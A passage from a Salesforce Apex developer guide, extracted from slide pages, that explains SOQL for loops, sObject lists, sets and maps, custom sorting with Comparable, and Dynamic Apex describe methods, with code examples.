  • 161. Working with Data in Apex • • SOQL For Loop Formats The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each DML statement ends up processing only one sObject at a time. The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML statement can bulk process a list of sObjects at a time. For example, the following code illustrates the difference between the two types of SOQL query for loops: // Create a savepoint because the data should not be committed to the database Savepoint sp = Database.setSavepoint(); insert new Account[]{new Account(Name = 'yyy'), new Account(Name = 'yyy'), new Account(Name = 'yyy')}; // The single sObject format executes the for loop once per returned record Integer i = 0; for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) { i++; } System.assert(i == 3); // Since there were three accounts named 'yyy' in the // database, the loop executed three times // The sObject list format executes the for loop once per returned batch // of records i = 0; Integer j; for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) { j = tmp.size(); i++; } System.assert(j == 3); // The list should have contained the three accounts // named 'yyy' System.assert(i == 1); // Since a single batch can hold up to 100 records and, // only three records should have been returned, the // loop should have executed only once // Revert the database to the original state Database.rollback(sp); Note: • • • The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject list format, continue skips to the next list of sObjects. DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for loop, it is possible to encounter runtime limit errors. See Understanding Execution Governors and Limits on page 236. You might get a QueryException in a SOQL for loop with the message Aggregate query has too many rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large set of child records of a retrieved sObject inside the loop, or when getting the size of such a record set. To avoid getting this exception, use a for loop to iterate over the child records, as follows. Integer count=0; for (Contact c : returnedAccount.Contacts) { count++; // Do some other processing } 137
  • 162. Working with Data in Apex sObject Collections sObject Collections Lists of sObjects Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data. You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call. To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example: // Create an empty list of Accounts List<Account> myList = new List<Account>(); Auto-populating a List from a SOQL Query You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data type. This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000 returns account records containing the Id and Name fields. // Create a list of account records from a SOQL query List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000]; Adding and Retrieving List Elements As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For example: List<Account> myList = new List<Account>(); // Define a new list Account a = new Account(Name='Acme'); // Create the account first myList.add(a); // Add the account sObject Account a2 = myList.get(0); // Retrieve the element at index 0 Bulk Processing You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts. // Define the list List<Account> acctList = new List<Account>(); // Create account sObjects Account a1 = new Acount(Name='Account1'); Account a2 = new Acount(Name='Account2'); // Add accounts to the list acctList.add(a1); acctList.add(a2); // Bulk insert the list insert acctList; Record ID Generation Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted 138
  • 163. Working with Data in Apex Sorting Lists of sObjects if it contains the same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same structure in memory, which is illegal. For example, the insert statement in the following block of code generates a ListException because it tries to insert a list with two references to the same sObject (a): try { // Create a list with two references to the same sObject element Account a = new Account(); List<Account> accs = new List<Account>{a, a}; // Attempt to insert it... insert accs; // Will not get here System.assert(false); } catch (ListException e) { // But will get here } Using Array Notation for One-Dimensional Lists of sObjects Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects. For example, this declares a list of accounts using the array notation. Account[] accts = new Account[1]; This example adds an element to the list using square brackets. accts[0] = new Account(Name='Acme2'); These are some additional examples of using the array notation with sObject lists. Example Description List<Account> accts = new Account[]{}; Defines an Account list with no elements. List<Account> accts = new Account[] {new Account(), null, new Account()}; Defines an Account list with memory allocated for three Accounts, including a new Account object in the first position, null in the second position, and another new Account object in the third position. List<Contact> contacts = new List<Contact> Defines the Contact list with a new list. (otherList); Sorting Lists of sObjects Using the List.sort method, you can sort lists sObjects. For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable interface, as shown in Custom Sort Order of sObjects. 139
  • 164. Working with Data in Apex Sorting Lists of sObjects Default Sort Order of sObjects The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified labels or fields. The following is the comparison sequence used: 1. The label of the sObject type. For example, an Account sObject will appear before a Contact. 2. The Name field, if applicable. For example, if the list contains two accounts named A and B respectively, account A comes before account B. 3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields. For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber. 4. Custom fields, starting with the fields that come first in alphabetical order. For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and FieldB, the value of FieldA is used first for sorting. Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields. For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order. This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining accounts because the Industry field comes before the Site field in alphabetical order. Account[] acctList = new List<Account>(); acctList.add( new Account( Name='sForce', Industry='Biotechnology', Site='Austin')); acctList.add(new Account( Name='sForce', Industry='Agriculture', Site='New York')); acctList.add(new Account( Name='Acme')); System.debug(acctList); acctList.sort(); System.assertEquals('Acme', acctList[0].Name); System.assertEquals('sForce', acctList[1].Name); System.assertEquals('Agriculture', acctList[1].Industry); System.assertEquals('sForce', acctList[2].Name); System.assertEquals('Biotechnology', acctList[2].Industry); System.debug(acctList); This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before the Price and Total_Inventory fields in alphabetical order. Merchandise__c[] merchList = new List<Merchandise__c>(); merchList.add( new Merchandise__c( Name='Pens', Description__c='Red pens', Price__c=2, Total_Inventory__c=1000)); merchList.add( new Merchandise__c( Name='Notebooks', 140
  • 165. Working with Data in Apex Sorting Lists of sObjects Description__c='Cool notebooks', Price__c=3.50, Total_Inventory__c=2000)); merchList.add( new Merchandise__c( Name='Pens', Description__c='Blue pens', Price__c=1.75, Total_Inventory__c=800)); System.debug(merchList); merchList.sort(); System.assertEquals('Notebooks', merchList[0].Name); System.assertEquals('Pens', merchList[1].Name); System.assertEquals('Blue pens', merchList[1].Description__c); System.assertEquals('Pens', merchList[2].Name); System.assertEquals('Red pens', merchList[2].Description__c); System.debug(merchList); Custom Sort Order of sObjects To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface. The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic. This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class compares two opportunities based on the Amount field—the class member variable contained in this instance, and the opportunity object passed into the method. global class OpportunityWrapper implements Comparable { public Opportunity oppy; // Constructor public OpportunityWrapper(Opportunity op) { oppy = op; } // Compare opportunities based on the opportunity amount. global Integer compareTo(Object compareTo) { // Cast argument to OpportunityWrapper OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo; // The return value of 0 indicates that both elements are equal. Integer returnValue = 0; if (oppy.Amount > compareToOppy.oppy.Amount) { // Set return value to a positive value. returnValue = 1; } else if (oppy.Amount < compareToOppy.oppy.Amount) { // Set return value to a negative value. returnValue = -1; } return returnValue; } } This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies that the list elements are sorted by the opportunity amount. @isTest private class OpportunityWrapperTest { static testmethod void test1() { // Add the opportunity wrapper objects to a list. OpportunityWrapper[] oppyList = new List<OpportunityWrapper>(); Date closeDate = Date.today().addDays(10); oppyList.add( new OpportunityWrapper(new Opportunity( 141
  • 166. Working with Data in Apex Expanding sObject and List Expressions Name='Edge Installation', CloseDate=closeDate, StageName='Prospecting', Amount=50000))); oppyList.add( new OpportunityWrapper(new Opportunity( Name='United Oil Installations', CloseDate=closeDate, StageName='Needs Analysis', Amount=100000))); oppyList.add( new OpportunityWrapper(new Opportunity( Name='Grand Hotels SLA', CloseDate=closeDate, StageName='Prospecting', Amount=25000))); // Sort the wrapper objects using the implementation of the // compareTo method. oppyList.sort(); // Verify the sort order System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name); System.assertEquals(25000, oppyList[0].oppy.Amount); System.assertEquals('Edge Installation', oppyList[1].oppy.Name); System.assertEquals(50000, oppyList[1].oppy.Amount); System.assertEquals('United Oil Installations', oppyList[2].oppy.Name); System.assertEquals(100000, oppyList[2].oppy.Amount); // Write the sorted list contents to the debug log. System.debug(oppyList); } } Expanding sObject and List Expressions As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions. In the following example, a new variable containing the length of the new account name is assigned to acctNameLength. Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length(); In the above, new Account[] generates a list. The list is populated with one element by the new statement {new Account(name='Acme')}. Item 0, the first item in the list, is then accessed by the next part of the string [0]. The name of the sObject in the list is accessed, followed by the method returning the length name.length(). In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression .Name.toLowerCase(). String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase(); Sets of Objects Sets can contain sObjects among other types of elements. 142
  • 167. Working with Data in Apex Maps of sObjects Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two accounts with the same name to a set, with no other fields set, only one sObject is added to the set. // Create two accounts, a1 and a2 Account a1 = new account(name='MyAccount'); Account a2 = new account(name='MyAccount'); // Add both accounts to the new set Set<Account> accountSet = new Set<Account>{a1, a2}; // Verify that the set only contains one item System.assertEquals(accountSet.size(), 1); If you add a description to one of the accounts, it is considered unique and both accounts are added to the set. // Create two accounts, a1 and a2, and add a description to a2 Account a1 = new account(name='MyAccount'); Account a2 = new account(name='MyAccount', description='My test account'); // Add both accounts to the new set Set<Account> accountSet = new Set<Account>{a1, a2}; // Verify that the set contains two items System.assertEquals(accountSet.size(), 2); Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore when using, for example, the contains or containsAll methods, because of changed field values. Maps of sObjects Map keys and values can be of any data type, including sObject types, such as Account. Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys are of type ID and whose values are of type Account. Map<ID, Account> m = new Map<ID, Account>(); As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists and adds one entry using the account list created earlier. Account[] accs = new Account[5]; // Account[] is synonymous with List<Account> Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs}; Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change. Auto-Populating Map Entries from a SOQL Query When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared with an ID or String data type, and the map value should be declared as an sObject data type. This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id and Name fields. The new operator uses the returned list of accounts to create a map. // Populate map from SOQL query Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]); // After populating the map, iterate through the map entries 143
  • 168. Working with Data in Apex Maps of sObjects for (ID idKey : m.keyset()) { Account a = m.get(idKey); System.debug(a); } One common usage of this map type is for in-memory “joins” between two tables. Using Map Methods The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements. This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value. Account myAcct = new Account(); //Define a new account Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map m.put(1, myAcct); // Insert a new key-value pair in the map System.assert(!m.containsKey(3)); // Assert that the map contains a key Account a = m.get(1); // Retrieve a value, given a particular key Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map sObject Map Considerations Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the map entry, as shown in this example. // Create an account and add it to the map Account a1 = new Account(Name='A1'); Map<sObject, Integer> m = new Map<sObject, Integer>{ a1 => 1}; // Get a1's value from the map. // Returns the value of 1. System.assertEquals(1, m.get(a1)); // Id field is null. System.assertEquals(null, a1.Id); // Insert a1. // This causes the ID field on a1 to be auto-filled insert a1; // Id field is now populated. System.assertNotEquals(null, a1.Id); // Get a1's value from the map again. // Returns null because Map.get(sObject) doesn't find // the entry based on the sObject with an auto-filled ID. // This is because when a1 was originally added to the map // before the insert operation, the ID of a1 was null. System.assertEquals(null, m.get(a1)); Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject. If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger, the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate, CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp. 144
  • 169. Working with Data in Apex Dynamic Apex Dynamic Apex Dynamic Apex enables developers to create more flexible applications by providing them with the ability to: • Access sObject and field describe information Describe information provides metadata information about sObject and field properties. For example, the describe information for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value, whether it is a calculated field, the type of the field, and so on. Note that describe information provides information about objects in an organization, not individual records. • Access Salesforce app information You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab includes the sObject associated with the tab, tab icons and colors. • Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are installed from Force.com AppExchange. Understanding Apex Describe Information You can describe sObjects either by using tokens or the describeSObjects Schema method. Apex provides two data structures and a method for sObject and field describe information: • • • Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes. The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types. Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing the describe, using either the sObject token or the describeSObjects method. Describing sObjects Using Tokens It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods return the tokens for sObject and field, respectively. Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or a custom calculated field. The following code provides a general example of how to use tokens and describe results to access information about sObject and field properties: // Create a new account as the generic type sObject sObject s = new Account(); // Verify that the generic sObject is an Account sObject 145
  • 170. Working with Data in Apex Understanding Apex Describe Information System.assert(s.getsObjectType() == Account.sObjectType); // Get the sObject describe result for the Account object Schema.DescribeSObjectResult r = Account.sObjectType.getDescribe(); // Get the field describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the field describe result from the token f = f.getSObjectField().getDescribe(); The following algorithm shows how you can work with describe information in Apex: 1. 2. 3. 4. 5. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.) Determine the sObject you need to access. Generate the describe result for the sObject. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.) Generate the describe result for the field the code needs to access. Using sObject Tokens SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the describe result. To access the token for an sObject, use one of the following methods: • • Access the sObjectType member variable on an sObject type, such as Account. Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map. Schema.SObjectType is the data type for an sObject token. In the following example, the token for the Account sObject is returned: Schema.sObjectType t = Account.sObjectType; The following also returns a token for the Account sObject: Account A = new Account(); Schema.sObjectType T = A.getSObjectType(); This example can be used to determine whether an sObject or a list of sObjects is of a particular type: public class sObjectTest { { // Create a generic sObject variable s SObject s = Database.query('SELECT Id FROM Account LIMIT 1'); // Verify if that sObject variable is an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType); // Create a list of generic sObjects List<sObject> l = new Account[]{}; // Verify if the list of sObjects contains Account tokens System.assertEquals(l.getSObjectType(), Account.sObjectType); } } 146
  • 171. Working with Data in Apex Using Field Tokens Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example, RecordType.sObjectType, the field is returned. Obtaining sObject Describe Results Using Tokens To access the describe result for an sObject, use one of the following methods: • • Call the getDescribe method on an sObject token. Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead. Schema.DescribeSObjectResult is the data type for an sObject describe result. The following example uses the getDescribe method on an sObject token: Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe(); The following example uses the Schema sObjectType static member variable: Schema.DescribeSObjectResult D = Schema.SObjectType.Account; For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class. Using Field Tokens To access the token for a field, use one of the following methods: • • Access the static member variable name of an sObject static type, for example, Account.Name. Call the getSObjectField method on a field describe result. The field token uses the data type Schema.SObjectField. In the following example, the field token is returned for the Account object's AccountNumber field: Schema.SObjectField F = Account.AccountNumber; In the following example, the field token is returned from the field describe result: // Get the describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the describe result from the token f = f.getSObjectField().getDescribe(); Using Field Describe Results To access the describe result for a field, use one of the following methods: • • Call the getDescribe method on a field token. Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so on.) The field describe result uses the data type Schema.DescribeFieldResult. The following example uses the getDescribe method: Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe(); 147
  • 172. Working with Data in Apex Understanding Describe Information Permissions This example uses the fields member variable method: Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name; In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account) and validates that the field name following the fields member variable is legitimate. The fields member variable only works when used in this manner. You can only have 100 fields member variable statements in an Apex class or trigger. Note: You should not use the fields member variable without also using either a field member variable name or the getMap method. For more information on getMap, see the next section. For more information about the methods available with a field describe result, see DescribeFieldResult Class. Accessing All Field Describe Results for an sObject Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and the field tokens (values) for an sObject. The following example generates a map that can be used to access a field by name: Map<String, Schema.SObjectField> M = Schema.SObjectType.Account.fields.getMap(); Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe result for it. The map has the following characteristics: • • • • It is dynamic, that is, it is generated at runtime on the fields for that sObject. All field names are case insensitive. The keys use namespaces as required. The keys reflect whether the field is a custom object. For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c. In addition, standard fields have no namespace prefix. Note: A field describe executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in the installing organization. This is not true if the field describe is executed from a class not within an installed managed package. Understanding Describe Information Permissions Apex generally runs in system mode. All classes and triggers that are not included in a package, that is, are native to your organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate a map of all the sObjects for your organization, regardless of the current user's permission. Dynamic Apex, contained in managed packages created by salesforce.com ISV partners that are installed from Force.com AppExchange, have restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant access to standard sObjects not included as part of the managed package. While Partners can 148
  • 173. Working with Data in Apex Describing sObjects Using Schema Method request access to standard objects, custom objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged. For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help. Describing sObjects Using Schema Method As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one or more sObject type names for the sObjects you want to describe. Using this method, you can describe up to 100 sObjects. This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships. // sObject types to describe String[] types = new String[]{'Account','Merchandise__c'}; // Make the describe call Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types); System.debug('Got describe information for ' + results.size() + ' sObjects.'); // For each returned result, get some info for(Schema.DescribeSobjectResult res : results) { System.debug('sObject Label: ' + res.getLabel()); System.debug('Number of fields: ' + res.fields.getMap().size()); System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.'); // Get child relationships Schema.ChildRelationship[] rels = res.getChildRelationships(); if (rels.size() > 0) { System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.'); } } Describing Tabs Using Schema Methods You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs Schema method and the getTabs method in Schema.DescribeTabResult, respectively. This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab describe information is written to the debug output. // Get tab set describes for each app List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs(); // Iterate through each tab set describe for each app and display the info for(DescribeTabSetResult tsr : tabSetDesc) { String appLabel = tsr.getLabel(); System.debug('Label: ' + appLabel); System.debug('Logo URL: ' + tsr.getLogoUrl()); System.debug('isSelected: ' + tsr.isSelected()); String ns = tsr.getNamespace(); if (ns == '') { System.debug('The ' + appLabel + ' app has no namespace defined.'); } else { System.debug('Namespace: ' + ns); } 149
  • 174. Working with Data in Apex Accessing All sObjects // Display tab info for the Sales app if (appLabel == 'Sales') { List<Schema.DescribeTabResult> tabDesc = tsr.getTabs(); System.debug('-- Tab information for the Sales app --'); for(Schema.DescribeTabResult tr : tabDesc) { System.debug('getLabel: ' + tr.getLabel()); System.debug('getColors: ' + tr.getColors()); System.debug('getIconUrl: ' + tr.getIconUrl()); System.debug('getIcons: ' + tr.getIcons()); System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl()); System.debug('getSobjectName: ' + tr.getSobjectName()); System.debug('getUrl: ' + tr.getUrl()); System.debug('isCustom: ' + tr.isCustom()); } } } // Example debug statement output // DEBUG|Label: Sales // DEBUG|Logo URL: https://na1.salesforce.com/img/seasonLogos/2014_winter_aloha.png // DEBUG|isSelected: true // DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales app -// (This is an example debug output for the Accounts tab.) // DEBUG|getLabel: Accounts // DEBUG|getColors: (Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;], // Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;], // Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;]) // DEBUG|getIconUrl: https://na1.salesforce.com/img/icon/accounts32.png // DEBUG|getIcons: (Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3; // getUrl=https://na1.salesforce.com/img/icon/accounts32.png;getWidth=32;], // Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3; // getUrl=https://na1.salesforce.com/img/icon/accounts16.png;getWidth=16;]) // DEBUG|getMiniIconUrl: https://na1.salesforce.com/img/icon/accounts16.png // DEBUG|getSobjectName: Account // DEBUG|getUrl: https://na1.salesforce.com/001/o // DEBUG|isCustom: false Accessing All sObjects Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys) to sObject tokens (values). For example: Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe(); The map has the following characteristics: • • • • It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions. The sObject names are case insensitive. The keys are prefixed with the namespace, if any.* The keys reflect whether the sObject is a custom object. * Starting with Apex saved using Salesforce.com API version 28.0, the keys in the map that getGlobalDescribe returns are always prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1, and the sObject is in namespace N2, the key is N2__MyObject__c. 150
  • 175. Working with Data in Apex Accessing All Data Categories Associated with an sObject Standard sObjects have no namespace prefix. Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is not true if the getGlobalDescribe method is called from a class not within an installed managed package. Accessing All Data Categories Associated with an sObject Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the categories associated with a specific object: 1. Return all the category groups associated with the objects of your choice (see describeDataCategoryGroups(List<String>)). 2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe DataCategoryGroupResult Class). 3. Specify the category group and associated object, then retrieve the categories available to this object (see describeDataCategoryGroupStructures). The describeDataCategoryGroupStructures method returns the categories available for the object in the category group you specified. For additional information about data categories, see “What are Data Categories?” in the Salesforce online help. In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available for articles and questions in the Regions category group. For additional information about articles and questions, see “Managing Articles and Translations” and “Answers Overview” in the Salesforce online help. To use the following example, you must: • • • • • Enable Salesforce Knowledge. Enable the answers feature. Create a data category group called Regions. Assign Regions as the data category group to be used by Answers. Make sure the Regions data category group is assigned to Salesforce Knowledge. For more information on creating data category groups, see “Creating and Modifying Category Groups” in the Salesforce online help. For more information on answers, see “Answers Overview” in the Salesforce online help. public class DescribeDataCategoryGroupSample { public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){ List<DescribeDataCategoryGroupResult> describeCategoryResult; try { //Creating the list of sobjects to use for the describe //call List<String> objType = new List<String>(); objType.add('KnowledgeArticleVersion'); objType.add('Question'); //Describe Call describeCategoryResult = Schema.describeDataCategoryGroups(objType); //Using the results and retrieving the information for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){ //Getting the name of the category singleResult.getName(); 151
  • 176. Working with Data in Apex Accessing All Data Categories Associated with an sObject //Getting the name of label singleResult.getLabel(); //Getting description singleResult.getDescription(); //Getting the sobject singleResult.getSobject(); } } catch(Exception e){ } return describeCategoryResult; } } public class DescribeDataCategoryGroupStructures { public static List<DescribeDataCategoryGroupStructureResult> getDescribeDataCategoryGroupStructureResults(){ List<DescribeDataCategoryGroupResult> describeCategoryResult; List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult; try { //Making the call to the describeDataCategoryGroups to //get the list of category groups associated List<String> objType = new List<String>(); objType.add('KnowledgeArticleVersion'); objType.add('Question'); describeCategoryResult = Schema.describeDataCategoryGroups(objType); //Creating a list of pair objects to use as a parameter //for the describe call List<DataCategoryGroupSobjectTypePair> pairs = new List<DataCategoryGroupSobjectTypePair>(); //Looping throught the first describe result to create //the list of pairs for the second describe call for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){ DataCategoryGroupSobjectTypePair p = new DataCategoryGroupSobjectTypePair(); p.setSobject(singleResult.getSobject()); p.setDataCategoryGroupName(singleResult.getName()); pairs.add(p); } //describeDataCategoryGroupStructures() describeCategoryStructureResult = Schema.describeDataCategoryGroupStructures(pairs, false); //Getting data from the result for(DescribeDataCategoryGroupStructureResult singleResult : describeCategoryStructureResult){ //Get name of the associated Sobject singleResult.getSobject(); //Get the name of the data category group singleResult.getName(); //Get the name of the data category group singleResult.getLabel(); //Get the description of the data category group singleResult.getDescription(); //Get the top level categories DataCategory [] toplevelCategories = singleResult.getTopCategories(); 152
